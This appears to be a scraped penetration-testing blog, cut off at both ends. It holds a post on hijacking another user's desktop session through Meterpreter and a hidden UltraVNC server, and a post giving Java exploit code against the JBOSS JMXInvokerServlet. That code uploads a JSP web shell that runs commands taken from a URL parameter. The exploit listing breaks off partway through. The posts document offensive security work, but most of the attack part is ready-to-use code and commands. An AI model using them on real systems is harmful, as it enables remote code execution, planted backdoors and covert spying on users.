To do:</div>
<div>
<ul style="text-align: left;">
<li>This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.</li>
</ul>
</div>
<br />
Code at<br />
<br />
<ul style="text-align: left;">
<li>https://github.com/breenmachine/dnsftp</li>
</ul>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com3tag:blogger.com,1999:blog-6160546299096632925.post-73010990614119975712014-02-21T04:00:00.003-08:002014-02-21T04:01:46.612-08:00Hijacking A Particular User's GUI Sessions With Meterpreter/VNC<div dir="ltr" style="text-align: left;" trbidi="on">
Just a quick post to document a cool technique applied on a recent penetration test, nothing new or fancy, just something I hadn't done or thought to try before that came out of necessity.<br />
<br />
<b>The situation: </b>You have SYSTEM access to a server that a number of users are remotely logged into. You want to see what a particular user is up to on that box, or you just want to get a GUI but for some reason don't have access to RDP. In our case, the Meterpreter VNC payloads were not working as desired.<br />
<br />
<b>The solution: </b>Pretty simple:<br />
<br />
Download UltraVNC Single Click server: <a href="http://www.uvnc.com/downloads/single-click/82-single-click-downloads.html">http://www.uvnc.com/downloads/single-click/82-single-click-downloads.html</a><br />
<br />
This VNC server can be launched invisibly from the command line. Launch it on a local test VM first and configure as necessary. After the first launch, an UltraVNC.ini file will be created with your settings. Test locally then upload the settings file and executable to the target:<br />
<br />
<i>meterpreter> cd C:\\Temp</i><br />
<i>meterpreter> upload winvnc.exe .</i><br />
<i>meterpreter> upload UltraVNC.ini .</i><br />
<br />
List processes on the target:<br />
<br />
<i>meterpreter> ps</i><br />
<br />
Pick a PID being run by the target user in a program with a GUI. Browser processes are a good choice:<br />
<br />
<i>meterpreter> migrate <PID></i><br />
<i><br /></i>
Now just run the VNC server:<br />
<i>meterpreter> execute -f winvnc.exe</i><br />
<i><br /></i>
Should now be able to connect to the target machine on the VNC server port, you'll be hijacking the target users graphical session. If you just want to see what they're up to, run VNC in view only mode. In our particular situation, this was extremely useful.<br />
<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-75162920150385517692014-02-19T18:04:00.000-08:002014-02-19T18:05:10.022-08:00JBOSS JMXInvokerServlet Update<div dir="ltr" style="text-align: left;" trbidi="on">
A few months ago I posted some exploit code that abuses unauthenticated access to the JBOSS JMXInvokerServlet (<a href="http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html">http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html</a>).<br />
<br />
For review, JBOSS exposes by default an HTTP interface at http://<JBOSS>:8080/invoker/JMXInvokerServlet. This interface works with raw binary Java objects (serialized). It is the backend for another interface that is disabled by default. By sending it a specially crafted object, you can basically use this interface to invoke remote procedures that are part of JBOSS.<br />
<br />
There were a few problems with my previous method for calling this interface:<br />
<br />
<ul style="text-align: left;">
<li>A 'magic number' called the version hash is required. I didn't really know where it came from and didn't need to at the time of writing it.</li>
<li>The method used to exploit the JMXInvokerServlet wont work with JBOSS 5.x+. In these later versions of JBOSS, a bug (or security feature?) was introduced that does not allow deployment of remote objects. In the previous exploit, I relied on this feature to pull down a remote WAR file from the attacker's web server and deploy it.</li>
</ul>
<br />
<div>
What follows is a description and the code used to get past these issues.</div>
<div>
<br /></div>
<div>
Those who have attempted to use the code from the previous post on JBOSS 5.x+ would likely have encountered an error like:</div>
<div>
<ul style="text-align: left;">
<li>java.io.IOException: No context factory for http://127.0.0.1/attacker.war at org.jboss.virtual.VFS.getVFS(VFS.java:196) at org.jboss.virtual.VFS.getRoot(VFS.java:212) at </li>
</ul>
</div>
<div>
This is because in JBOSS 5.x, the "http" protocol is not recognized as valid for deployment by "VFS", the URL in this case must be a local path for it to work - bummer. After some research, it doesn't seem that the MainDeployer - a component of JBOSS that can be called to deploy objects - can be used in these later versions to deploy files hosted remotely. A different method must be used.</div>
<div>
<br /></div>
<div>
Enter the JBOSS "DeploymentFileRepository", another service that is remotely invocable through the JMXInvokerServlet. I was informed of this possibility of using this by Drone who is working on a new application server exploit tool "clusterd" (https://github.com/hatRiot/clusterd), I hope we can implement these results into this tool. The DeploymentFileRepository allows for the upload of JSP code to a fixed location on the server... sounds interesting.</div>
<div>
<br /></div>
<div>
In order to test this procedure, "twiddle" was used. Twiddle is a tool that comes with JBOSS and allows you to invoke remote procedures from the command line. The problem with using twiddle for our purposes is it goes "through the front door" so to speak. The following command will use the DeploymentFileRepository to create a JSP file on my test server at http://127.0.0.1/xxxyyy/xxxyyy.jsp. It specifies the DeploymentFileRepository as the target, invokes that objects "store" method, and the remainder are the parameters for the "store" method:</div>
<div>
<ul style="text-align: left;">
<li>./twiddle.sh -s localhost invoke "jboss.admin:service=DeploymentFileRepository" store xxxyyy.war xxxyyy .jsp ThisIsATest True</li>
</ul>
<div>
This successfully deploys a file called xxxyyy.jsp to our JBOSS instance! Unfortunately as mentioned before, twiddle goes "through the front door", so it wont hit the open JMXInvokerServlet directly. To find out what's going on here, I ran WireShark and captured the network traffic passing over the loopback interface. One of the TCP streams contained the following (note the "MarshalledInvocation" in the center):</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF5IykHKGJKosf2wlB6zUhJkDDcMHTGsK73nvCIDk64oaejxkSTGme2bxSH61CK9_9KsM3KAhs2-pLC1T6wpj4mHRSc49HkBn3n5tGwbxQSefOrzcCdLq4fBQV_SMcRp712E42vj2G41s/s1600/Screenshot+-+02192014+-+05:26:48+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF5IykHKGJKosf2wlB6zUhJkDDcMHTGsK73nvCIDk64oaejxkSTGme2bxSH61CK9_9KsM3KAhs2-pLC1T6wpj4mHRSc49HkBn3n5tGwbxQSefOrzcCdLq4fBQV_SMcRp712E42vj2G41s/s1600/Screenshot+-+02192014+-+05:26:48+PM.png" height="320" width="252" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you'll recall from last time, a "MarshalledInvocation" is the object type that the JMXInvokerServlet requires! </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I manually chopped the MarshalledInvocation out of the TCP dump, but have written a utility to do it automagically, incase anyone wants to use the same technique in the future to reverse engineer another deployer (something different than the MainDeployer or DeploymentFileRepository). The code follows, yes it's hacky and ugly:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
---------------------------------</div>
<div class="separator" style="clear: both; text-align: left;">
<b>ReadMarshalledInvocation.java</b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>*Parameter Strings to Modify: </b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>payloadSaveLocation->location to save the serialized MarshalledInvocation</b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>tcpDumpLocation->file containing the TCP dump, I extract a stream from WireShark</b></div>
<div class="separator" style="clear: both; text-align: left;">
<b><br /></b></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;">import java.io.*;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;">import org.jboss.invocation.MarshalledInvocation;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><br /></span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;">public class ReadMarshalledInvocation {</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><br /></span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>public static MarshalledInvocation tryRead(InputStream stream) throws Exception{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation ret = null;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>while(ret == null && stream.available() > 3){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>try{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>ObjectInput input = new ObjectInputStream (stream);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for (int i=0;i<34;i++){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>input.readByte();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Object test = input.readObject();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if(test.getClass().toString().equals("class org.jboss.invocation.MarshalledInvocation")){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation inv = (MarshalledInvocation)test;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Object[] invArgs = inv.getArguments();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if(invArgs.length < 2 || invArgs[1] == null){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Got the wrong MarshalledInvocation, no arguments - trying to find another one");</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>else</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Found a MarshalledInvocation with arguments!");</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>return inv;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>else{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(test.getClass().toString());</span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>catch(Exception e){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>stream.skip(-3);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>return ret;</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>public static void main(String[] args) throws Exception {</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//Paramters to change:</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//payloadSaveLocation is where you want to dump the extracted MarshalledInvocation</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//tcpDumpLocation is the file with the tcp dump</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>String payloadSaveLocation = "/home/me/Desktop/invocation.obj";</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>String tcpDumpLocation = "/home/me/Desktop/RawTCPStreamDumpWithInvokation.obj";</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>try{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>InputStream file = new FileInputStream(tcpDumpLocation);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation mInv = tryRead(file);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>file.close();</span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//Dump the invocation to disk</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> ObjectOutputStream out = new ObjectOutputStream(fileOut);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> out.writeObject(mInv);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> out.close();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> fileOut.close();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span> System.out.println("MarshalledInvokation saved in "+ payloadSaveLocation);</span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>//Print out some basics about the loaded MarshalledInvokation</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>String objNameType = mInv.getObjectName().getClass().toString();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Integer objName = (Integer)mInv.getObjectName();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(objNameType+":"+objName);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(mInv.getMethodHash());</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Object[] mInvArgs = mInv.getArguments();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for(int i=0;i<mInvArgs.length;i++){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if(mInvArgs[i] != null){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(mInvArgs[i].getClass().toString());</span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if(!mInvArgs[i].getClass().isArray())</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("\t"+mInvArgs[i]);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>else</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Object[] argObj = (Object[])mInvArgs[i];</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>for(int j=0;j<argObj.length;j++){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("\t"+argObj[j].getClass().toString());</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("\t\t"+argObj[j]);</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}<span class="Apple-tab-span" style="white-space: pre;"> </span></span></i></div>
<div class="separator" style="clear: both;">
<span class="Apple-tab-span" style="white-space: pre;"><i><span style="font-size: xx-small;"> </span></i></span></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>catch (Exception e){</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>e.printStackTrace();</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></i></div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;">}</span></i></div>
<div class="separator" style="clear: both;">
---------------------------------</div>
<div class="separator" style="clear: both;">
<i><span style="font-size: xx-small;"><br /></span></i></div>
<div>
So now we've got our hands on a MarshalledInvocation that is associated with the DeploymentFileRepository. Along with serializing and saving the MarshalledInvocation to disk, the code reads the object fields and prints the following, which we will analyze in a minute:</div>
<div>
<br /></div>
<div>
---------------------------------</div>
<div>
<div>
class [Ljava.rmi.server.ObjID;</div>
<div>
Got the wrong MarshalledInvocation, no arguments - trying to find another one</div>
<div>
Got the wrong MarshalledInvocation, no arguments - trying to find another one</div>
<div>
Found a MarshalledInvocation with arguments!</div>
<div>
MarshalledInvokation saved in /home/me/Desktop/invocation.obj</div>
<div>
<span style="background-color: #38761d;">class java.lang.Integer:-483630874</span></div>
<div>
8688737015066284935</div>
<div>
<span style="background-color: #b45f06;">class javax.management.ObjectName</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>jboss.admin:service=DeploymentFileRepository</span></div>
<div>
<span style="background-color: #b45f06;">class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>store</span></div>
<div>
<span style="background-color: #b45f06;">class [Ljava.lang.Object;</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>xxxyyy.war</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>xxxyyy</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>.jsp</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span><%!String message = "Hello, World. From JSP test page Tomcat is running.";%></span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.Boolean</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>true</span></div>
<div>
<span style="background-color: #b45f06;">class [Ljava.lang.String;</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>class java.lang.String</span></div>
<div>
<span style="background-color: #b45f06;"><span class="Apple-tab-span" style="white-space: pre;"> </span>boolean</span></div>
</div>
<div>
---------------------------------</div>
<div>
<br /></div>
<div>
The green highlighted section above is the "hash" referred to in the previous post. It is pulled out by calling the "getObjectName" method.</div>
<div>
<br /></div>
<div>
The orange highlighted section is is the array of paramters passed to the "store" method of the "DeploymentFileRepository".</div>
<div>
<br /></div>
<div>
This is everything we need to recreate the MarshalledInvokation dynamically in code and send it directly to the JMXInvokerServlet. Those who know anything about Java probably think I'm an idiot at this point, why did I reverse engineer the object from a TCP dump?! The Javadoc for DeploymentFileRepository, while a little vague on the parameter format has enough information to do all of this.... I did this initially and was totally stuck on why it wasn't working. It was because I used "java.lang.Boolean" as the object type for the final parameter when it should have been primitive "boolean". JBOSS blew up and provided no useful debugging info, so I had to go through all of the above BS to find my mistake :).</div>
<div>
<br /></div>
<div>
The exploit code is as follows - mostly the same as last time:</div>
<div>
<br /></div>
<div>
---------------------------------</div>
<div>
<b>JBOSSExploit.java</b></div>
<div>
<b>*Parameter Strings to Modify:</b></div>
<div>
<b>jmxUrl->URL for the JMXInvokerServlet</b></div>
<div>
<b>*Optional Parameter Strings: </b></div>
<div>
<b>hash->Might have to change this for versions of JBOSS, find it by dumping the MarshalledInvocation</b></div>
<div>
<b>jspShell->JSP to upload. The one included is a simple shell that runs commands passed in the "cmd" URL parameter.</b></div>
<div>
<b>others-> Just various filenames and stuff, self explanatory.</b></div>
<div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.BufferedInputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.FileInputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.FileOutputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.InputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.ObjectInput;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.ObjectInputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.ObjectOutputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.io.OutputStream;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.lang.reflect.Method;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.net.HttpURLConnection;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import java.net.URL;</i></span></div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i>import org.jboss.invocation.InvocationException;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import org.jboss.invocation.MarshalledValue;</i></span></div>
<div>
<span style="font-size: xx-small;"><i>import org.jboss.invocation.MarshalledInvocation;</i></span></div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i>public class JBOSSExploit {</i></span></div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>public static void main(String[] args) throws Exception {</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>//Parameters you need to configure</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>int hash = -483630874;</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>//Required</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";</i></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>//Optional</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String shellFileName = "jspshell";</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String shellFileExtension=".jsp";</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String warFileName = "xxxyyy";</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String warFileExtension = ".war";</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String payloadSaveLocation = "testPayload.out";</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>String jspShell = "<%@ page import=\"java.util.*,java.io.*\"%><%if (request.getParameter(\"cmd\") != null) {out.println(\"Command: \" +request.getParameter(\"cmd\") + \"\");Process p =Runtime.getRuntime().exec(request.getParameter(\"cmd\"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>";</i></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation payload = new MarshalledInvocation();</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setObjectName(new Integer(hash));</i></span></div>
<div>
